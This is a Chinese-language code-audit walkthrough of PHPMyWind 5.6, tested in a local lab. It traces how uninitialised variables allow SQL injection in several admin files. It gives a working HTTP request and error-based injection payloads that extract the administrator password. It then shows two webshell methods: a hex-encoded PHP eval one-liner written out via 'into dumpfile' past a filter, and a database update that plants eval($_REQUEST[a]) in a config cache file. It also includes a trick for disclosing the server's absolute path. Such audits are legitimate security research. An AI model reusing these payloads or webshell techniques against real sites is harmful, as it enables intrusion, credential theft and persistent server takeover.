0×01 環境搭建
Phpstudy
PHPMyWind 5.6(http://phpmywind.com/downloads/PHPMyWind_5.6.zip)
代碼審計工具(Seay源代碼審計系統)
0×02 代碼審計過程
我們擁有了一個CMS的源碼,其實我們可以先不用著急先去看看這個CMS以前報過的漏洞,這個CMS比較老牌,稍微一查,就在烏雲知識庫發現了很多信息。
然後我們先看看這裡漏洞為什麼產生,究竟為什麼,然後往那個方面思考。然後我們再去將源碼就先放入根目錄訪問開始安裝吧!安裝好之後我們查看index.php文件,開頭第一行就是文件包含,包含/include/config.inc.php這個文件,這個文件包含了好幾個文件
我們著重來看看common.inc.php,這個文件就是幫助我們上面觸發漏洞的文件,後面兩個什麼*.classs.php應該是定義類和函數的,可以先不看。
common.inc.php第一開始先定義一些常量,然後定義一個函數_RunMagicQuotes,這個函數實際上就是魔術引號的作用。
再看下面45-58行,這看著感覺很像$$的變量覆蓋漏洞,實際上這裡時一個方便開發的機制,可以讓我們的傳參全部都變成變量使用,例如我傳參a=123。
那麼經過這個處理就變為了$a = 123
這裡記住,我們可以定義變量了,我通過全局搜索查詢了下,調用這個文件都是文件的開頭為主,然後這個文件中被調用的參數大部分都會先初始化參數,然後處理再進行調用。
然後代碼又包含了三個文件
三個文件做什麼的看開發貼心的註釋就知道了,要是變量覆蓋這個在包含common.func.php下面就可以飛起了。這三個文件可以先不看,一個是常用函數,一個是各種配置變量定義,還有一個就是連接數據庫的文件。之後就是設置了一些路徑之類的變量
然後我們還是回來看index.php,整頁就沒什麼有用的地方了。各種輸出都是讀取了數據庫裡面的數據然後輸出。然後還包含了兩個文件,header.php|footer.php。然後讀取這幾個PHP然後再去按照功能和模塊去讀取每個文件就行了。
那麼根據我們的信息收集,我們知道了這款CMS,他以前爆過的SQL注入就是因為沒用初始化變量SQL,然後直接想辦法跳過這個變量SQL的賦值,然後造成直接傳參SQL語句直接執行造成SQL注入,詳情可以見烏雲知識庫找,這裡就不方便貼鏈接了
那麼我們根據這個思想去找漏洞就很簡單,找沒有初始化過的傳參
開胃菜:
SQL注入一:
打開admin目錄下面的info_update.php文件
我們發現第55行有一個變量id,這個地方如果我們能夠控制變量id,那麼我們可能就可以對這個CMS進行SQL注入,並且這個變量id都沒有被單雙引號包裹,那麼如果存在注入,我們都不需要去考慮魔術引號帶來的煩惱。
然後這個文件的第57-59行,就是沒有初始化這個$id,而且$id的執行語句在初始化之前,算是被我撿到一隻漏網之魚了。
但是我這個info_update.php並沒有初始化參數,那麼我們就可以控制$id的值,那麼我們就可以進行SQL注入了。我們再來追蹤一下GetOne函數究竟幹了什麼?
看到include目錄下面的mysqli.class.php文件的第262-294行
SetQuery函數是替換表名的前綴,然後Execute才是真的執行語句函數,然後們追蹤這個函數,他的定義在mysql.class.php這個文件的第165-191行
很明顯這的第191行是執行,但是這裡很明顯要過一個CheckSql的檢測。
這個函數在這個文件的522行被定義。
這個很明顯是80sec的過濾。那麼我們可以直接使用語句繞過,畢竟這個過濾也很老了,雖然這裡有改動,因為過濾問題這裡的SQLmap無法跑出Sql注入,百度下找到一個繞過的80sec語句妥妥的就繞過了。
注入的數據包
<code>GET /admin/info_update.php?id=1 HTTP/1.1
Host: 192.168.32.136
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=7s67quel3o522u240qquhlpo32
Connection: close/<code>
然後構建的語句是:
<code>AND id in (char(@`'`), extractvalue(1, concat_ws(0x20, 0x5c,(select password from pmw_admin limit 0,1))),char(@`'`))/<code>
直接拼接在id傳參的後面可以直接通過報錯注入顯示超管的密碼。如果要賬號就改子查詢裡面的語句
然後通過這個方法,我發現了這個CMS在書寫的時候很多地方他差不多功能模塊的核心代碼就不會變。然後我這裡指出的這個SQL注入這代碼屬於核心代碼。只要後臺文件名為
***_update.php都存在這個問題。涉及的文件特別多。好多文件都中招
SQL注入二:
後面發現的這個SQL注入也是和這個差不多,也屬於可以好多文件中招
我們先進行代碼分析吧,打開admin目錄下面的soft_save.php文件
我們發現第22行有一個函數,我們來看看這個函數幹了什麼~
這個函數的定義在admin_func.php這個文件的第1315-1417行。
這裡定義的這個函數,第一個傳參是cid,然後因為我的登陸的賬號並不是超管,所以執行了第43行的語句,很明顯,這個函數直接將cid拼湊進了SQL語句,那麼這個地方如果我們能夠控制變量cid,那麼我們可能就可以對這個CMS進行SQL注入,並且這個變量cid都沒有被單雙引號包裹,那麼如果存在注入,我們都不需要去考慮魔術引號帶來的煩惱。那麼我們看看這個$cid是由什麼控制的,是由函數調用時的傳參,那麼就是soft_save.php第22行的變量classid。
然而很明顯這個$classid沒用進行初始化,並且在第二次初始化前就先執行了!!!
然後拿出我寫的第一個SQL注入語句輕鬆拿下。
我來說下怎麼注入吧,訪問後臺的軟件下載管理
然後點擊右下角的添加軟件信息
然後將帶*號的欄目填上數據,因為有前端檢測。
然後添加,抓包就行,然後將我語句的Payload 加在classid傳參就行
<code>AND model in (char(@`'`), extractvalue(1, concat_ws(0x20, 0x5c,(select password from phpmywind_db.pmw_admin limit 0,1))),char(@`'`))/<code>
可以直接通過報錯注入顯示超管的密碼。如果要賬號就改子查詢裡面的語句
然後我們會發現這裡實際上是調用了IsCategoryPriv函數傳參所沒有初始化並且拼接進的SQL語句沒用使用引號包含造成的SQL注入。使用了這個函數,然後傳參沒用初始化的文件也有好多。
正餐:
後臺SQL注入似乎危害不夠,進了後臺不應該是想著Getshell嗎?
那我們來看看我找到的Getshell方法。
Getshell 一(通過into_dumpfile):
admin/database_backup.php這個文件的第43行出現的一個switch,於是乎action傳參決定執行哪個功能。
第238行-269行
這裡只攔截了刪除語句,以及去除反斜槓還有去空格,沒有攔截其他的語句,那麼我們再去Execute這個函數看看,這個函數在include/mysqli.class.php的166行被定義
這裡有一個安全性檢測我們去看下,這個函數還是在這個文件被定義,在523行到結束,這裡代碼有點長,我就貼核心的一塊吧。
他過濾了一些常用的黑客函數,比如Union,sleep,benchmark,load_file,into outfile,但是他過濾還是有疏忽,他想到了過濾into outfile,但是沒有過濾into dumpfile,所以只要我們使用into dumpfile就可以直接getshell寫入一個webshell,但是寫文件有個很大的問題就是需要知道他的絕對路徑,那麼絕對路徑我們該怎麼辦妮?
我們可以看到4g.php這個文件,4g.php的第41行只要我們傳參m=show
就會調用templates/default/mobile/show.php
我們來看看這個文件的第24-49行。
很明顯這裡24行是通過SELECT * FROM `#@__infoclass` WHERE id = $cid AND checkinfo = ‘true’ ORDER BY orderid ASC去獲取$row,我們傳參cid他就會去讀取
pmw_infoclasee表裡面的內容,然後當cid=4的時候,因為49行要輸出$row[‘title’]但是獲取的參數中沒有這個數據,於是乎就拋出了報錯。
那麼我們就獲取了絕對路徑,我這個的絕對路徑是C:\\phpstudy\\WWW\\
所以我們只要訪問http://192.168.32.141//4g.php?m=show&&cid=4,就可以獲得絕對路徑,然後後臺導出吧,為了防止過濾問題,我把導出的一句話寫成了16進制。
一句話:
16進制後:3c3f70687020406576616c28245f524551554553545b615d293b3f3e
於是乎導出語句就是:
select 0x3c3f70687020406576616c28245f524551554553545b615d293b3f3e into dumpfile ‘C:/phpstudy/WWW/shell.php’
直接訪問後臺頁面,然後選擇數據庫的執行SQL語句就行
點擊執行就行了。成功執行
然後成功導出一句話木馬,拿到了webshell
Getshell 二(通過修改數據庫內容):
查看後臺的site_save.php文件。我們看13行-56行這個分支代碼,第56行有一個函數我們來看看是什麼作用。
這個函數在這個文件的第131行-163行定義。
實際上就是讀取數據庫裡面的#@__webconfig`表的數據,然後進行遍歷,然後拼接進$str這個遍歷,然後執行Writef這個函數,我先解釋以下#@__webconfig`是什麼表,實際上#@__ 是代替前綴的,當處理的時候就會按照我安裝的時候設定的前綴進行替換,我使用的是默認設置pmw作為表前綴,那麼這裡讀取pmw_webconfig的內容,然後裡面有兩個if語句,其實看這個$str的陣勢都能看出來這裡是要寫入配置到config.cache.php。
我們先來看這個函數里面的兩個if,第一個if他的作用就是判斷數據表裡面的字段varname如果讀出來是cfg_countcode的時候將那條數據的varvalue所對應的值刪除反斜槓然後賦值給$row[‘varvalue’]
第二個if就是判斷表的vartype字段查出來是不是number,如果不是的話執行
<code>$str .= "\\${$row['varname']} = '".str_replace("'",'',$row['varvalue'])."';\\r\\n”/<code>
$row[‘varname’] 這個值是我們表裡面查到的字段varname的值
$row[‘varvalue’] 這個值是我們表裡面查到的字段varvalue的值
然後str_repalce是替換單引號,怕我使用單引號來跳出這個賦值,然後進行Getshell
那麼如果$row[‘varname’]=a
<code>$row['varvalue']=b/<code>
這個變量str就變為了
<code>
$a = 'b';
?>/<code>
這裡很明顯有防範我單引號跳出來造成getshell,我們我們想一下,如果我們能夠控制$row[‘varname’]這個值是不是就可以代碼執行了,比如這個值為
<code>$row['varname']=a;eval($_REQUEST[a]);///<code>
那麼執行就變為了
<code>$a;eval($_REQUEST[a]);//= 'b';/<code>
很明顯有一句話木馬,然後註釋了後面,語法也沒用問題。那麼核心就是兩個,第一個是控制這個$row[‘varname’],控制這個字段很明顯就是修改數據庫裡面的內容唄。後臺功能裡面就提供了一個更新數據庫的功能,我只需要執行
<code>update pmw_webconfig set varname = 'a;eval($_REQUEST[a])//' where orderid=97/<code>
成功執行,然後我們看看數據庫裡面
當然我這樣看是偷懶了,用後臺自帶的數據庫執行也是可以查看的。
那麼我們通過這個方法已經修改掉了varname,那麼如果$str真的是寫入文件的話我們的
webshell就到手了。
那我們再看看Writef函數是幹什麼的,這個函數在common.func.php的第364-389行被定義。
很明顯,判斷如果函數傳參$file的目錄存在可寫就寫入,寫入的東西就是函數傳參的$str。
那麼函數傳參的$str不就是前面我們拼湊出來的變量str。
所以這裡就是寫入文件到config.cache.php文件。
萬事俱備了,我們改了數據庫內容能讓惡意語句拼接進去了。那麼我們只要觸發就行。具體操作也很簡單,我們在站點配置管理隨便加一個新站點。
隨便寫就行,然後提交,我們的一句話就被插進去了。
然後我們只要傳參a就行
成功Getshell
閱讀更多 暗影實驗室 的文章